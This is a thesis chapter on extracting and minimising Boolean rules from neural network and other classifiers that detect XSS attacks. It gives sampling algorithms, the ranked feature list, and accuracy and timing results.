In Chapter 6, the use of ensemble technique was reviewed in relation to increasing the classification accuracy in terms of distinguishing between malicious and benign scripts. The classifiers involved were evaluated and it was found that they achieved results representing high predictive accuracy in the detection of XSS attacks – with respect to a large real-world dataset containing both malicious and benign scripts. A factor of interest is that the features used to train these classifiers are Boolean valued. It is necessary to extract the rules from a classifier in order to detect XSS attacks; extracting the rules used by classifiers is essential in order to understand the decision making undertaken by such classifier in order to achieve the high accuracy rates that they do. As the beneficiaries of the extracted rules are specialists in the security and web applications developers, whereby using these rules they have the ability to protect pages by creating rules for receiving data and texts from the user.

With respect to this purpose, this chapter will show the way in which rules can be derived from a neural network trained to detect XSS attacks by looking at the features exhibited in the Tables 3.6, 3.7, and 3.8 - wherefrom it can be observed that all these features are Boolean and that therefore the neural network precisely defines a Boolean

function. Section 7.2 provides a brief overview of the topic, Explainable Artificial Intelligence (XAI). Section 7.3 provides an overview of the topic of rule extraction from neural network classifiers as well as an overview of the most common types of rule extraction techniques along with an explanation of the methods by which rules are represented. Section 7.4 provides an overview of the topic of minimizing Boolean expressions and a description of the most common methods which are employed for this purpose. Then Section 7.5 explains in detail the system proposed in this present study for extracting rules from black box classifiers - the most important factors related to this approach are explained. Section 7.6 demonstrates the results of applying the proposed system to the extraction of rules from neural network classifiers (focused on distinguishing between malicious and benign instances). Section 7.8 shows the time spent in extracting the rules. Section 7.7 provides a method for improving the performance of the sampling algorithm. Sections 7.8, 7.9, and 7.10 provide results of using the improved algorithm on the NN, k-NN and SVM classifiers with an explanation of the results of testing the rules, in addition to the timing performance for each classifier. Section 7.11 shows how the extracted rules are represented, with an example showing how to achieve high accuracy results using the extracted rules. Section 7.12 provides a distribution of the rules extracted using the sampling method on the probabilities table, in addition to the distribution of a testing dataset on the same probabilities. Section 7.13 discusses the results achieved, and comparisons made between the results yielded by the classifiers and the results yielded by simply using the extracted rules (outside of the classifiers). Finally, Section 7.14 summarises what has been accomplished in this chapter.

Part of this work has been published in the International Joint Conference on Computational Intelligence conference (IJCCI 2019) [132].

7.2 Explainable Artificial Intelligence Overview

This work is focused on artificial intelligence and machine learning, and especially on neural networks which are able to provide predictive models that have a high degree

of accuracy and excellent performance in relation to complex tasks - such as detecting objects present in images [80], or understanding natural language [35]. Such neural network models are considered, here, to be a black boxes which make decisions with respect to input data, and these decisions are considered to be incapable of being understood or meaningfully interpreted by the user. In this regard, there is growing interest in explaining the decision-making which results from the training of such neural network models. Such “explaining” can be achieved by opening up black box models [10, 11], by developing methods that help to understand what the model has learned [120, 140], or by extracting rules from the networks. The term Explainable Artificial Intelligence (XAI) encompasses the issue of making artificial intelligence systems understandable to humans [72]. XAI aims to "produce more explainable models, while maintaining a high level of learning performance (prediction accuracy); and enable human users to understand, appropriately, trust, and effectively manage the emerging generation of artificially intelligent partners" [72].

7.3 Rule Extraction Overview

Building systems which can be used within the context of end-user applications requires the use of functions whose operation can be understood by the user. Thus, when classifiers are to be used in this context, they need to be built so that are both accurate but also readily comprehensible in terms of how they classify. These requirements of a software system (more generally - accuracy, and ease-of-use) almost always work in a contradictory manner, as [26] has stated, "Unfortunately, in prediction, accuracy and simplicity (interpretability) are in conflict." Therefore, the extraction of rules from a trained classifier can be an intermediary method which allows for the satisfaction of both of these requirements via the use of a relatively simple and understandable set of such rules in form ($If...Then...Else$) which simulates the model’s predictions. The rule extraction process aims to find understandable rules in terms of how the particular classification model works.

Furthermore, the rule extraction techniques employed are designed so that they can explain the predictive rules used by the A.I model (i.e. they explain the rules which are used, without such modification, inside the black box) [12, 40, 124]. One of the research topics current in the data mining field is that of extracting rules from models; this has been described as an important process which can be used to identify patterns in a clear and understandable manner [58].

The neural network classifier model is considered to represent one of the most popular types of classifier from which rules can be extracted. Algorithms for extracting rules from neural network classifiers may be divided into three main categories:

1. **Pedagogical:** This kind of method is not concerned with the internal structure of the network, but only with deriving the rules used by the network by looking at the relationships between the inputs and the outputs. Thus, it does not need to scrutinise the internal behaviour of the network [184, 189]. An example of the use of this type of rule extraction can be found in [169], where the rules were extracted from a multilayer medical diagnostic system by monitoring the impact on network outputs of changes to its inputs. The VIA technique [188] is another example of a pedagogical method, where the generation and testing of an input dataset was focused on the extraction of rules from the neural network while it was being trained using a backpropagation technique. This method is characterised by analysing the output of the network through the systematic variation of the patterns of input. Other techniques in this category are sampling and the reverse engineering of neural networks [74]. An example of the use of samples for a pedagogical approach is given in [39], where Craven and Shavlik proposed an algorithm called TREPAN. This algorithm extracts M-of-N and split trees from an ANN via a querying and sampling technique, and here the neural network architecture used involved one hidden layer which the network employed as an "oracle" to statistically validate the correctness and significance of the generated rules. Saad and Wunsch proposed, in [167], a method they termed HYPINV which relied on a network inversion technique. This method is capable of extracting the hyperplane rule learned by

the network, in the form of conjunctions and disjunctions defining hyperplanes. The multilayer perceptron (MLP) was used as the standard network type for the experiment.

This present study will focus on the use of samples to extract the rules from the black box classifier. Hence, knowing how to use samples to extract rules is essential. With reference to Huysmans et. Al, [44], this specifies methods for using samples to extract rules; additional training instances are created specifically to act as samples for use by TREPAN. However, this method is based on marginal distributions. Another method is to create random instances; this method keeps the samples nearer to the original training instances, which in turn ensures that the generated samples are similar to the original training data, this method has been used with ANN-DT in [174].

2. **Decompositional:** The methods in this category are concerned with extracting the rules directly from the layers within the network; these methods focus on the internal structure of the network and assign a linguistic meaning to each layer. Such decompositional methods rely on the extraction of rules by analysing network activation, the outputs of hidden layers and also by analysing the associated weights [57]. An example of the use of this type of method is found in [177] where a three step algorithm was proposed for analysing and thus "understanding" the neural network. The first step is to reduce the weights by creating a backpropagation network with the aim of reversing the important connections which have larger weights. The second step is to trim the network by deleting irrelevant connections - while maintaining the predictive accuracy of the network. In the third and final step, the rules are extracted by estimating the activation values of the hidden unit. The rules were extracted in [178] using the "neurolinear" decomposition technique; this technique is able to extract rules from a neural network oblique classifier that has one hidden layer. Deriving rules from deep neural networks is one of the more difficult tasks related to this area, the reason being the existence of activation functions in the deep network. Such functions consist of a set of

layers of nodes whereby each node is calculated by a set of linear values, and then the activation function is applied to the result; this makes the problem non-convex. Nai et. al in [138] developed the concept of the Rectified Linear Unit (ReLU) activation function; such a function returns an unchanged value in the case of the application of the ReLU function to a node with a positive value, and in the case of a negative value it returns zero. This concept is widely used and allows deep neural networks to generalize well to previously unseen inputs. In order to use ReLUs to verify the properties of deep networks it was necessary to make significant simplifying assumptions [18]. Katz et. al proposed a new algorithm in [96] to verify the properties of neural networks using ReLUs activation functions by the application of the simplex algorithm, which is a standard method for solving linear programming instances. This algorithm was modified that to support ReLU constraints and then termed Reluplex, for "ReLU with Simplex". Reluplex is concerned with reducing the search space by at least one order of magnitude, but it needs to “split” using a specific ReLU constraint. Note that in this method many or indeed, all of the ReLUs involved can be ignored. This algorithm has been applied to the next generation of airborne collision avoidance systems for unmanned aircraft ACAS Xu [93], many properties of these networks have been successfully proven.

3. **Eclectic:** Methods of this type combine attributes derived from the two previous types. This type of rule extraction was used in [97], where a method for discovering trends within a large dataset was proposed which employed a neural network as a black box which had the function of discovering knowledge. At the same time, the method examines weights by pruning and clustering the activation values of the hidden units within the network. For the purposes of analysing the data to control the probability of occurrence and accuracy of the rules, control parameters were used.

It is fruitful to compare the types of extraction methods used in terms of their relative advantages and disadvantages. First, it can be observed that the extraction

of rules using decompositional approaches is complex and requires considerable computational resources, and so the use of these resources is the most important constraint with regard to the use of these methods. Pedagogical approaches are generally faster because they do not attempt to analyse the weights and internal structure of the associated neural network. However, the most important disadvantage of this approach is that it is less likely to find all the rules that describe the behaviour of the network correctly. The eclectic approach is slower but more precise because it combines the two other methodologies [9].

A decision tree is one of the most common methods of representing the rules extracted from non-rule-based classifiers, where the individual rules can be specified in the form ($if...then$). The decision tree itself is built using these rules such that the classes (returned by the classifier) are the leaves and the branches represent the sequences of features (conditions) that lead to these classes [6]. Representing the rules in a way which is understandable by human-being, using decision tree classifiers, where these can capture the rules and present them in several forms is described in [24] and [86].

1. **If-Then / If-Then-Else:** Rules are represented by using "if" condition, where the condition may contain a number of logical operators such as conjugation, disjunction, and negation. The condition component is a set of conditions on input variables, followed by a "$then$" which indicates a class this is easily understandable. An example of an "$if...then...else$" rule is:
   $if(a_{11} < x_1 < a_{12})$ *and* $(a_{21} < x_2 < a_{22})$ *then Class A else Class B.*
   Note that most extraction algorithms create rules that contain conjunctions. and they will generally ensure that the conditional parts define separate areas in the input space, meaning that the rules are mutually exclusive. Therefore, only one rule will be able to classify a new entry.

2. **M-of-N:** This type of represention of the rules is considered to be more compact than "$if...then$" rule sets; here , the decision in relation to just one class is made such that it is required that M of the full set of N rules be true for this class to be returned. Such a rule can be represented in the

form ($IF\ M\ of\{N\}\ THEN\ Z$); this representation can easily be converted to ($if...then$) rules. An example of an M-of-N rule is:
if exactly 2-of-f {X=a,Y=b,Z=c} then Class=1. This is logically equivalent to if ((X=a and Y=b) or (X=a and Z=c) or (Y=b and Z=c)) then Class=1.

3. **Oblique rules / multi-surface:** This type of representation is made using rules that separate a feature space using planes, each side of each plane represents a particular class, this allows each data point in the space to belong to a specific class. This representation is more difficult to understand, but such rules are more powerful since they can create boundaries that are not parallel with the axes of the original input space.

4. **Equation rules:** This type of rule representation is similar to that of oblique rules, but there is a difference in terms of the separation of spaces: non-linear equations in the condition part are used for this purpose. An example of an equation rule is as follows:
$(if c_1X^2 + c_2Y^2 + c_3XY + c_4X + c_5Y < c_6\ then\ Class = 1)\ with\ c_1, ..., c_6 \in \mathbb{R}$.
This type of rule representation makes it difficult to understand the extracted rules, and thus contributes little to the interpretation of the original model.

5. **Fuzzy rules:** This method of representing rules is similar to that of ($if...then$) rules, the difference being that this representation deals with fuzzy sets and its underlying mechanism is many valued fuzzy logic. An example of a Fuzzy rule is: ($if\ X\ is\ low\ and\ Y\ is\ medium\ then\ Class = 1$). Here, low and medium are fuzzy sets, each with a corresponding membership function. Fuzzy rules are easy to understand because they are expressed using linguistic concepts that are readily comprehensible by the user.

In this study, the pedagogical approach combined with a sampling technique will be adopted to extract the rules from a neural network classifier. The proposed approach will focus on extracting the rules by finding the relationships between the inputs and the returned classes. The rules so extracted will be represented in the form ($if...then..else$), since Boolean functions act as decision trees.

7.4 Minimising Boolean Expressions Overview

For the better understanding of the Boolean function being used, it is useful to extract the rules into a compact representation. A minimal representation of a Boolean expression is easier to understand and to write out; in addition, explanations based on such minimal forms are less prone to error. Importantly, a minimal representation can be more effective and efficient when implemented in experiments [166]. Therefore, the minimisation of Boolean expression, to find a representation equivalent to the original expression but of a minimum size, is considered here.

Minimisation can be achieved in several ways, where the important factor in relation to choosing a method is the number of variables in the expression. The commonly used methods for minimising Boolean expressions are:

1. **Karnaugh Maps:** This is a graphical method for minimising Boolean expressions [95], whereby the truth table of the expression is expressed as a matrix, all the complementary pairs are then eliminated, and the result is a minimised Boolean expression. This method is very effective when only small numbers of variables are involved, but it becomes more unwieldy when there are large numbers of variables. Manipulating expressions using the theorems and rules of Boolean algebra might can also be used, but again, this methodology does not scale well.

2. **The Tabular (Quine-McCluskey):** This method is, in general, more effective than the Karnaugh maps method, and in particular its effectiveness can be observed when minimising expressions containing a large number of variables [123]. The tabular version of the method frequently uses the rule A + A‘ = 1. Where a true variable is given the value 1, the inverse of this is assigned the value 0, and the absence of the variable is expressed by (-). Minimising Boolean expressions using this method is achieved via two main activities: the identification of primary implicants and the selection of essential primary implicants. Essential primary implicants are all those terms that will be present in the final simplified function. The starting point is to list the minterms that

define the function - then the prime implicants are found by a matching method. Each minterm and maxterm are compared with every other minterm . When the expressions differ in terms of only one variable, this variable will be removed and a function will be created which excludes it. This process is repeated for each minterm and maxterm pair until the search ends. The selection of essential primary implicants is achieved by creating a table containing the prime implicants. The prime implicant can then be reduced by removing the essential prime implicants, removing the rows that dominate others, and removing the columns that dominate others. These steps are repeated until there no further reduction possible. The weakness of this method is that the run time grows exponentially with the number of variables [88]

3. **Reduced Ordered Binary Decision Diagrams (ROBDDs):** This method is undertaken by imposing an order on the variables of a Boolean function, and then representing this function as a graph structure; this provides a canonical non-redundant representation of the Boolean function, given the variable ordering [28].

In this study, the tabular method will be adopted, because of its effectiveness when minimising expressions with large numbers of variables.

7.5 Proposed Rule Extraction Approach

The method for extracting rules from a neural network classifier proposed here is one of the contributions of this thesis. The proposed method extracts the rules using a voting system, based on outputs produced by the classifier in relation to samples that are selected from a training dataset. The aim of this research is to derive Boolean functions that represent the rules extracted from trained neural networks which can then be used by classifiers which are capable of detecting XSS attacks. It is noticeable, when using any classifier relevant to this task, that all the input features will be Boolean and these will be used to construct a Boolean output value; thus, such a classifier evaluates a Boolean function. The rule extraction/construction process

will enumerate all the possible inputs in relation to a derived truth table and then employ this truth table to calculate the result of this Boolean function. Hence, this allows to replace the classifier with a Boolean function, which will be a rule-based system that make it explainable and auditable.

The extraction of a Boolean function depends on several factors: the dataset that was used to train the classifier, the selected features, the classifier in use, and the samples available for exact rule extraction and for creating a series of approximations to a network. These factors are described in more detail below:

7.5.1 Datasets

A dataset which is to be used with this approach must be Boolean: all the inputs and outputs utilised in relation to the XSS datasets that will be employed are Boolean. The reason for using this kind of dataset is that when a classifier is trained on Boolean data, the classification function it creates in order to process any new data will be a Boolean function. This allows for the extraction of rules by the examination of the relationships between inputs and corresponding outputs. In the approach used here, the XSS dataset, as created in section 3.3.1, was employed, where the training dataset contains 19,122 instances and the testing dataset contains 24,096 instances – all of which have values of either 0 or 1.

7.5.2 Selected Features

The feature set in use is one of the factors influencing the approach introduced in this research: the rules extracted will relate entirely to the presence or not of these features. The method used here can accept any number and range of features, provided that they all have Boolean values – as, if this is the case, then the rules extracted must amount to either an exact or an approximate Boolean function. For this research, the XSS features, the derivation of which is discussed in Section 3.5, were used. these can be divided into two groups: alphanumeric and non-alphanumeric features. Tables 3.6, 3.7, and 3.8 together provide a comprehensive list of these features (there are 65 in all). It can be seen that the number of features is large and

that a truth table representing all of them would require would be truly enormous, containing 2^{65} rows. Because of this, an approximation method is used to extract the rules from the neural network. Rather than working with the features just as they are, first a ranking process will be performed in order to identify the features that most influence decision making. This is undertaken via Algorithm 2 [125]. This algorithm for selecting the most relevant features utilises sequential feature selection by minimising over all feature subsets; this process uses the deviance and the chi-square to find the most powerful features. The deviance can be defined as twice the difference between the log likelihood of a particular model and the corresponding saturated model. The inverse of the chi-square with degrees of freedom is used to set the termination tolerance parameter. After applying the ranking algorithm on the 65 features, only 34 features emerged as having a powerful influence on the decisions made by the classifier. Table 7.1 shows the features in order of effectiveness.

Algorithm 2: Ranking Features Algorithm

```
Input: Original features set;
Start with empty features subset;
Feature = Sequential Feature Selection;
while (Deviance > Chi-Square) do
    Feature Subset = Add feature to selected feature subset;
    Feature = Sequential Feature Selection;
end
```

7.5.3 Classifier

With the proposed approach, it is possible to use any black box classifier, from which to extract the rules, because the underlying principle of the system is that a Boolean function can be extracted from any classifier. A neural network classifier was chosen here because this kind of classifier has achieved high accuracy rates in the detection of XSS attacks, as mentioned in Section 4.5.2.5 where such classifiers were evaluated. In addition, this type of classifier is that which is most widely known in relation to rules being extracted - due to the complexity of such a classifier's operations, within itself. For this study, feed forward neural network classifiers were built using the features from Table 7.1. The classifiers were built as in Section 4.3.5 by including one hidden layer containing 10 hidden neurons (units); the "trainbr" function was

No.	Features	No.	Features
1	Alert	18	%
2	<	19	(&lt)
3	{	20	@
4	?	21	Onload
5	!	22	StringfromCharCode
6	JS File	23	:
7	HTTP	24	\
8	-	25	]
9	’	26	(
10	;	27	‘
11	&	28	Img
12	,	29	′ >
13	Src	30	==
14	Space	31	/
15	&#	32	Onerror
16	Eval	33	//
17	.	34	iframe

Table 7.1 Selected Features.

used to update the weight and bias values. Two classifier were used for this research. The first was built using 34 features, and this was the best network from which to extract the rules, and the second classifier was built using just the top 16 features; this latter classifier was constructed for use in comparison and evaluation.

7.5.4 Sampling

The samplings employed in this study are used to create a Boolean function. These samples were randomly obtained from the training dataset and then used to find the outputs related to each row of the truth table – in order to create the Boolean function. This method can be used with any classifier in order to obtain an exact Boolean function, where the feature space is small, since each row in the truth table, essentially, represents a rule. Where the number of features is too large, this method is used to find a Boolean function which approximates the original function (used by the classifier). The number of features is unwieldy even at 34, in that it is difficult to create a truth table containing 2^{34} in order to find the exact Boolean function.

Thus, the approximate method will be used to find an appropriate function. The idea is to find an approximating Boolean function by using a fixed number of features, construct a truth table specifically for these, and then determine the output value of each row in this truth table by interrogating the classifier using the full set of features. This is achieved by using the fixed number of features and then completing the rest of the feature values using samples, where 1024 samples are used for each row. The final truth table row output is then determined by counting the number of true and false responses generated by the samples, whichever of these has the largest tally becomes that row's output.

In this work, the neural network classifier that will mainly be used is one that has been trained using 34 features. An approximate Boolean function appropriate to this can be found using the method described above. The reason for using approximation is that the number of features is large and unwieldy. Hence, a truth table employing only a fixed number of the most significant features is created and the influence of the rest of the features will be dealt with by the use of sampling. For example, suppose an approximate Boolean function using just 4 features is to be determined, leading to a truth table that can feasibly be constructed. For this purpose, the four highest ranked features from Table 7.1 are to be used as the main inputs to the truth table. First, for each row of the truth table, the values of these four features are fixed, and then, for each sample item, the row is extended by adding the values of the remaining 30 features derived from the item; each row so generated is then used as an input to the neural network classifier; of course, the resultant output will be recorded. This is done repeatedly and, from the output sample so yielded, the most frequently occurring value becomes the result entry in the truth table.

Whilst the training dataset is relatively large, in that it contains 19,122 instances, it is still very small compared to the 2^{34} probabilities inherent to the neural network. In other words, whilst the neural network does learn from its training dataset, the generalization is not great enough, because all the inputs to the neural network are equally meaningful. Thus, entirely random samples used for extending the fixed values may not produce good results due to mismatches with the actual potential input

forms. For this reason, such extensions were generated using a random selection of actual instances. Each item in this random sample, of course, contained a full 34 features, and these features were employed to complete the fixed feature rows .

Algorithm 3 provides the sampling method. Here, the input to the algorithm is L (an integer), the number of fixed features; NN, a trained neural network in this case with 34 features; Sample, a random selection from the training set of inputs to the neural network (in this work, consisting of 1024 inputs); and a truth table, *TT*, providing the values of the fixed features along with undefined output values – this is constructed by buildInitTruthTable, as follows. Each *row* of the latter truth table is considered in turn. The values of the *row* of *TT* are substituted into each element of Sample so constructing an *input* which is passed to the neural network, NN, for classification. If the *result* is classification, malicious a tally of malicious instances, *malicious_count* is incremented, otherwise, *benign_count* is incremented. Once each element of Sample has been considered, a comparison between the two counts is made, and the output column of the truth table *TT* is populated with 0 if most instances are malicious and 1 otherwise.

Algorithm 3: Sampling Method Algorithm

```
1  Input: L ∈ ℕ, NN, Sample;
2  TT = buildInitTruthTable(L);
3  for row in TT do
4      malicious_count = 0;
5      benign_count = 0;
6      for s in Sample do
7          input = substitute(row, s);
8          result = NN(input) ;
9          if result == malicious then
10             malicious_count ++;
11         else
12             benign_count ++;
13         end
14     end
15     if malicious_count > benign_count then
16         TT[row] = 0 ; \\Malicious
17     else
18         TT[row] = 1 ; \\Benign
19     end
20 end
```

This study investigated a series of approximations, based on differing numbers of fixed features: i.e., 1, 2, 4, 8, 10, 12, and 16 fixed features. In addition, 1024 instances of the training dataset were used as the basis for the samples to be employed

in extending the fixed feature rows. As described above, the output column entry (result) for each row of the truth table is simply the most common verdict returned by the neural network being approximated.

7.5.5 Extracting Rules

After labelling all the rows in the truth table, each row is considered to be a rule that describes one class. For a more compact and succinct set of rules, the Boolean functions represented by the rows can be minimised, [176]; this yields simpler, more understandable expressions. The minimised Boolean functions are then applied as classifiers. "Logic Friday" [162] has been applied to minimise the Boolean functions by using the Tabular Method.

7.6 Results

This section provides the results of the experiments conducted on both classifiers (utilizing 16 and 34 features respectively) to evaluate their performance. In addition, there were experiments aimed at demonstrating the performance of the extracted rules, approximated using 1, 2, 4, 8, 10, 12, 16 features in turn. The classifiers and extracted rules were tested using the same testing dataset.

7.6.1 Neural Networks Classifiers Performance

Initially, the performance of the classifier that was trained using 34 features, and from which the approximate rules were be extracted, was evaluated. This was in order to compare its performance with the performance of a classifier trained using 65 features. Table 7.2 illustrates the performance of a neural network classifier using 65 feature, and Table 7.3 shows the performance of the classifier using 34 features; these were both evaluated using the same testing dataset.

Comparing between the two tables, it can be observed that there are slight differences between the classifier which has been trained using 34 features and that which was trained using 65 features. Surprisingly, perhaps, the classifier trained with

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.85	99.86	99.78	99.90		Malicious	Benign
				Malicious	9986	14
				Benign	22	14074

Table 7.2 Neural Network Classifier Performance Using 65 Features

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.88	99.98	99.75	99.98		Malicious	Benign
				Malicious	9998	2
				Benign	25	14071

Table 7.3 Neural Network Classifier Performance Using 34 Features

the lesser number of features actually performed marginally better; this shows the effectiveness of employing carefully selected features when distinguishing between malicious and benign instances.

For purposes of later comparison, the same evaluation was repeated in order to examine the performance of the neural network classifier which had been trained using the 16 highest ranked features. Table 7.4 shows that classifier's performance.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.78	99.94	99.53	99.95		Malicious	Benign
				Malicious	9994	6
				Benign	47	14049

Table 7.4 Neural Network Classifier Performance Using 16 Features

From the network trained with only 16 features, the Boolean function can be extracted precisely, because the number of rules created by the truth table is exactly the same as the number of features used and so does not require a sampling system. Table 7.5 shows the rules created from the truth table, as well as the rules remaining after minimisation. Any instance whose features do not match a rule which indicates benignity can be taken to be malicious.

Class	Malicious	Benign	Minimised
Rules	41,549	23,987	2,560

Table 7.5 Classifier Rules Using 16 Features

7.6.2 Rule Extraction

The rules were extracted from the neural network classifier that was trained using 34 features by applying the sampling method for each row in the truth tables relating to the restricted sets of selected features. The method leads to the extraction of ($2^{Features}$) rules, where each row describes one rule. This sampling technique was repeated for truth tables related to 1, 2, 4, 8, 10, 12, and 16 features. All these sets of features were used to construct an approximation of the Boolean function which the neural network (using 34 features), in essence, implemented. The purpose of repeating the process was to observe the rules which were used by the neural network; also, the accuracy of the results obtained when these approximate Boolean functions were applied to the testing dataset could be evaluated.

Table 7.6 illustrates the results obtained by extracting rules from the neural network that was trained using 34 feature: approximating with 1, 2, 4, 8, 10, 12, and 16 features as fixed features.

	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1 Feature	91.96	80.70	99.92	87.95		Malicious	Benign
					Malicious	8070	1930
					Benign	6	14090
2 Features	91.96	80.70	99.92	87.95		Malicious	Benign
					Malicious	8070	1930
					Benign	6	14090
4 Features	98.95	97.54	99.92	98.28		Malicious	Benign
					Malicious	9754	246
					Benign	7	14089
8 Features	98.13	95.62	99.87	96.98		Malicious	Benign
					Malicious	9562	438
					Benign	12	14084
10 Features	99.15	98.00	99.96	98.60		Malicious	Benign
					Malicious	9800	200
					Benign	3	14093
12 Features	99.82	99.62	99.96	99.73		Malicious	Benign
					Malicious	9962	38
					Benign	3	14093
16 Features	99.90	99.94	99.82	99.95		Malicious	Benign
					Malicious	9994	6
					Benign	18	14078

Table 7.6 Extracted Results Using 1, 2, 4, 8, 10, 12, and 16 Features

Table 7.7 summarises the number of rules related to each class as obtained when using the various numbers of selected features. The final column gives the number of

rules that classify the input as benign after minimisation – it should be borne in mind that any entry that does not matching the extracted rules is classified as malicious.

Features	Malicious	Benign	Minimised
1 Feature	1	1	1
2 Features	2	2	1
4 Features	7	9	3
8 Features	100	156	29
10 Features	384	640	62
12 Features	1,560	2,536	229
16 Features	39,792	25,744	2,488

Table 7.7 Numbers of Rules as Related to Numbers of Selected Features

7.6.3 Timing

The time taken to extract the rules is an important factor in relation to the proposed method. It was observed that the number of extracted rules increases as the number of features used for approximation increases. Applying this observation, the time taken to extract the rules using the proposed method has been calculated. Table 7.8 shows the timing for each approximation.

Features	Interval
1 Feature	18 sec
2 Features	37 sec
4 Features	120 sec
8 Features	390 sec
10 Features	7,846 sec
12 Features	30,598 sec
16 Features	482,618 sec

Table 7.8 Timing of Rule Extraction from the Classifier.

From the table it can be observed that the increase in the time taken to extract the rules is directly proportional to the increase in the number of features. Timing results were expected in order to use a large sample, as determining the class for each row takes time. Therefore, in the next section, the rules will be re-extracted, by modifying the sampling algorithm with aim to improve it.

7.7 Sampling Algorithm Modifications

One of the issues that was encountered when extracting rules from the neural network was the performance in terms of speed; the time taken to extract rules takes increases as the number of features increase. Because the time taken was becoming inconveniently long, the sampling algorithm was modified to solve the issue by reducing the number of samples - from 1024 to 32 samples. In the so reduced sample, the numbers of malicious instances were at least equal to the numbers of benign instances, the sample size was then increased again to 64. If this did not solve the problem, to 128; there were no cases where it was necessary to go beyond this. Moreover, random samples were used for each row in the truth table in order to complete those (rows) representing fixed features. This was for the purpose of re-balancing the number of samples. The original algorithm used the same 1024 samples for all the rows, whereas the algorithm after modification, where the sample size was smaller, used different samples for each row in the truth table. Furthermore, the decision-making method employed for each rule in the truth table was modified to label the row (with either malicious or benign) in the cases where more than three-quarters of the instances in the sample were indicated as such by the rule (row). Algorithm 4 shows the modified sampling method.

7.8 NN Rules Using 32/64/128 Samples

For the purposes of ensuring the effective extraction of rules from classifiers, the following process was performed. The classifier was first run with a sample size of 32, if the number of instances classed as benign and malicious were equal (i.e., 16 each) then the classifier was run again for equal rules, but using a sample size of 64 – and so on. The purpose of these repetitions of the experiment was to determine the ability of the proposed method to extract the required Boolean functions from the classifier when only smaller samples were available and how accurate the results are as compared to those yielded by the use of larger samples. The experiment was conducted using a neural network classifier which was trained using 34 features 32,

Algorithm 4: Modified Sampling Method Algorithm

```
1  Input: L ∈ ℕ, NN, Sample;
2  TT = buildInitTruthTable(L);
3  for row in TT do
4      malicious_count = 0;
5      benign_count = 0;
6      for s in Sample do
7          input = substitute(row, s);
8          result = NN(input) ;
9          if result == malicious then
10             malicious_count ++;
11             if malicious_count >= Sample * 0.75;
12             TT[row] = 0 ; \\Malicious
13         else
14             benign_count ++;
15             if benign_count >= Sample * 0.75;
16             TT[row] = 1 ; \\Benign
17         end
18     end
19     if malicious_count > benign_count then
20         TT[row] = 0 ; \\Malicious
21     else
22         TT[row] = 1 ; \\Benign
23     end
24 end
```

64 then 128 samples from the training dataset – it should be noted that each row in the truth table may be completed by employing random samples from the full training dataset (differing, often, from those used with another row). Then these rules were tested by applying the testing dataset to the extracted rules.

Table 7.9 shows the results in terms of the distribution (i.e., application) of the testing dataset over the rules extracted from the neural network classifier, where the experiment was conducted using 1, 2, 4, 8, 10, 12 and then 16 fixed features. From the results, it can be observed that the extracted rules were efficacious in terms of being able to distinguish between malicious and benign instances. The results derived from the rules extracted from the neural network classifier and then processed using a sample size of 1024 (for decision making) are slightly better than those derived from classifiers which used 32, 64, and 128 sample sizes for this purpose - in terms of accuracies and precision rates. NN classifiers using 1024 samples achieved maximums of a 99.90% accuracy and a 99.94% precision rate, while when using 32/64/128 samples the maximums achieved were a 99.87% accuracy and a 99.86% precision rate. Also, it was observed that the NN classifier using 32/64/128 samples suffered from slightly increased numbers of false positives.

	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1 Feature	58.49	0	0	58.49		Malicious	Benign
					Malicious	0	10000
					Benign	0	14096
2 Features	98.95	97.60	99.87	98.32		Malicious	Benign
					Malicious	9760	240
					Benign	12	14084
4 Features	98.74	97.08	99.88	97.96		Malicious	Benign
					Malicious	9708	292
					Benign	11	14085
8 Features	96.61	99.61	92.76	99.70		Malicious	Benign
					Malicious	9961	39
					Benign	777	13319
10 Features	98.37	96.60	99.46	97.63		Malicious	Benign
					Malicious	9660	340
					Benign	52	14044
12 Features	99.84	99.75	99.87	99.82		Malicious	Benign
					Malicious	9975	25
					Benign	13	14083
16 Features	99.87	99.86	99.83	99.90		Malicious	Benign
					Malicious	9986	14
					Benign	17	14079

Table 7.9 Extracted Results From NN Using 32/64/128 Samples

Features	Malicious	Benign	Minimised
1 Feature	0	2	1
2 Features	3	1	1
4 Features	8	8	4
8 Features	103	153	29
10 Features	382	642	84
12 Features	1,576	2,520	245
16 Features	39,861	25,675	2,766

Table 7.10 Numbers of NN Rules Using 32/64/128 Samples

Table 7.10 shows the number of rules extracted (after minimization) for each class; these rules, combined, represent the Boolean function for the class extracted from the classifier. From Table 7.7 shows the results (rules) extracted from the neural network classifier once it had been trained using 1024 samples and Table 7.10 which presents the results of the same classifier when it was given 32/64/128 samples on which to work. It can be observed that the number of rules making up the Boolean function increases with the decrease in the number of samples which can be used for decision making. The classifiers used 32/64/128 samples yielded larger Boolean

functions than the one that was used 1024 samples. The number of samples may be influential in determining the class for each rule.

Features	Labelling Interval	Testing Interval
1 Feature	1 sec	1 sec
2 Features	2 sec	1 sec
4 Features	3 sec	1 sec
8 Features	57 sec	11 sec
10 Features	212 sec	49 sec
12 Features	755 sec	198 sec
16 Features	10,645 sec	3,259 sec

Table 7.11 Timing of Rule Extraction from NN Classifier Using 32/64/128 Samples

Table 7.11 shows the performance in terms of speed of the classifiers which were given 32/64/128 samples. A significant difference in terms of such performance can be seen between the classifier given 1024 samples, which completed its task in 482,618 seconds and the 32/64/128 samples classifier finished in 10,645 seconds. In addition to this difference in terms of speed, it is possible to observe a marked reduction in the accuracy of the classifiers. Moreover, the last column in the associated table shows the time taken to distribute (apply) the testing dataset over the extracted rules; this latter process, using the NN classifier, proved to be faster than the equivalent process based on the neural network classifier using a 1024 sample size.

7.9 k-NN Rules Using 32/64/128 Samples

In order to ascertain the effectiveness – in isolation - of the proposed method of extracting rules, the same method was applied to another classifier, the k-Nearest Neighbour classifier. The reason for the choice of the k-NN classifier was because it gave highly accurate results with respect to the testing dataset – a maximum of 99.90%. In other words, k-NN performed slightly better than the neural network classifier in terms of accuracy. The latter achieved a maximum of 99.85% accuracy. Furthermore, the testing with the k-NN classifier was used to find out whether the accuracy rate of the classifier was related to the number of rules extracted. In addition,

as has been indicated in previous chapters, it was observed that K-NN classifier take longer than a neural network classifier to complete their work.

